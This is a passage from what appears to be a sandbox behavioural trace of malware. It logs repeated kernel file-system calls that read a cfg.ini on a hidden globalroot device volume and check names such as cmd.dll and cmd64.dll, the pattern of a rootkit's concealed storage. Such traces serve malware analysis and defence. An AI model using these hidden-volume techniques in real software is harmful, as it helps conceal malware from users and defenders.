(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.728] ReleaseMutex (hMutex=0xf0) returned 1 [0119.728] Sleep (dwMilliseconds=0x124f80) [0119.742] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.742] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.742] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.743] KeEnterCriticalRegion () [0119.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.743] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.743] IdePortDispatch () returned 0x103 [0119.743] KeWaitForMutexObject () returned 0x0 [0119.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.743] KeLeaveCriticalRegion () [0119.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.743] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.743] KeEnterCriticalRegion () [0119.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.743] KeLeaveCriticalRegion () [0119.743] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.743] KeEnterCriticalRegion () [0119.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.743] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.743] IdePortDispatch () returned 0x103 [0119.743] KeWaitForMutexObject () returned 0x0 [0119.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.744] KeLeaveCriticalRegion () [0119.744] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.744] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.744] KeEnterCriticalRegion () [0119.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003493000 [0119.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.744] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.744] IdePortDispatch () returned 0x103 [0119.744] KeWaitForMutexObject () returned 0x0 [0119.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.744] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.744] IdePortDispatch () returned 0x103 [0119.744] KeWaitForMutexObject () returned 0x0 [0119.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] KeLeaveCriticalRegion () [0119.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.745] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.745] KeEnterCriticalRegion () [0119.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] KeLeaveCriticalRegion () [0119.745] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.745] KeEnterCriticalRegion () [0119.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] KeLeaveCriticalRegion () [0119.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.745] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.745] KeEnterCriticalRegion () [0119.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.745] KeLeaveCriticalRegion () [0119.745] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.745] ReleaseMutex (hMutex=0xf0) returned 1 [0119.745] Sleep (dwMilliseconds=0x124f80) [0119.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.762] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.762] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.762] KeEnterCriticalRegion () [0119.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.762] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.762] IdePortDispatch () returned 0x103 [0119.762] KeWaitForMutexObject () returned 0x0 [0119.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca700 [0119.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.763] KeLeaveCriticalRegion () [0119.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.763] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.763] KeEnterCriticalRegion () [0119.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.763] KeLeaveCriticalRegion () [0119.763] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.763] KeEnterCriticalRegion () [0119.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.763] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.763] IdePortDispatch () returned 0x103 [0119.763] KeWaitForMutexObject () returned 0x0 [0119.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.763] KeLeaveCriticalRegion () [0119.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.763] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.763] KeEnterCriticalRegion () [0119.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f8000 [0119.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.764] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.764] IdePortDispatch () returned 0x103 [0119.765] KeWaitForMutexObject () returned 0x0 [0119.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.765] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.765] IdePortDispatch () returned 0x103 [0119.765] KeWaitForMutexObject () returned 0x0 [0119.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] KeLeaveCriticalRegion () [0119.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.766] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.766] KeEnterCriticalRegion () [0119.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] KeLeaveCriticalRegion () [0119.766] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.766] KeEnterCriticalRegion () [0119.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcced0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] KeLeaveCriticalRegion () [0119.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.766] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.766] KeEnterCriticalRegion () [0119.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.766] ExFreePoolWithTag (P=0xfffffa8003bca700, Tag=0x0) [0119.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.767] KeLeaveCriticalRegion () [0119.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.767] ReleaseMutex (hMutex=0xf0) returned 1 [0119.767] Sleep (dwMilliseconds=0x124f80) [0119.769] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.777] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.777] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.777] KeEnterCriticalRegion () [0119.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.777] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.778] IdePortDispatch () returned 0x103 [0119.778] KeWaitForMutexObject () returned 0x0 [0119.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.778] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.778] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.778] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.778] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.778] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcad60 [0119.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.778] KeLeaveCriticalRegion () [0119.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.778] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.778] KeEnterCriticalRegion () [0119.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.778] KeLeaveCriticalRegion () [0119.778] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.778] KeEnterCriticalRegion () [0119.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.778] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.778] IdePortDispatch () returned 0x103 [0119.778] KeWaitForMutexObject () returned 0x0 [0119.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.779] KeLeaveCriticalRegion () [0119.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.779] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.779] KeEnterCriticalRegion () [0119.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035db000 [0119.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.779] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.779] IdePortDispatch () returned 0x103 [0119.779] KeWaitForMutexObject () returned 0x0 [0119.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.779] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.779] IdePortDispatch () returned 0x103 [0119.779] KeWaitForMutexObject () returned 0x0 [0119.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.779] KeLeaveCriticalRegion () [0119.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.780] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.780] KeEnterCriticalRegion () [0119.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] KeLeaveCriticalRegion () [0119.780] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.780] KeEnterCriticalRegion () [0119.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.780] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] KeLeaveCriticalRegion () [0119.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.780] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.780] KeEnterCriticalRegion () [0119.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] ExFreePoolWithTag (P=0xfffffa8003bcad60, Tag=0x0) [0119.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.780] KeLeaveCriticalRegion () [0119.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.780] ReleaseMutex (hMutex=0xf0) returned 1 [0119.780] Sleep (dwMilliseconds=0x124f80) [0119.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.792] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.792] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.792] KeEnterCriticalRegion () [0119.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.792] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.792] IdePortDispatch () returned 0x103 [0119.792] KeWaitForMutexObject () returned 0x0 [0119.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.793] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.793] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcad60 [0119.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] KeLeaveCriticalRegion () [0119.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.793] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.793] KeEnterCriticalRegion () [0119.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.793] KeLeaveCriticalRegion () [0119.793] _snprintf (in: _Dest=0xfffff880028da790, 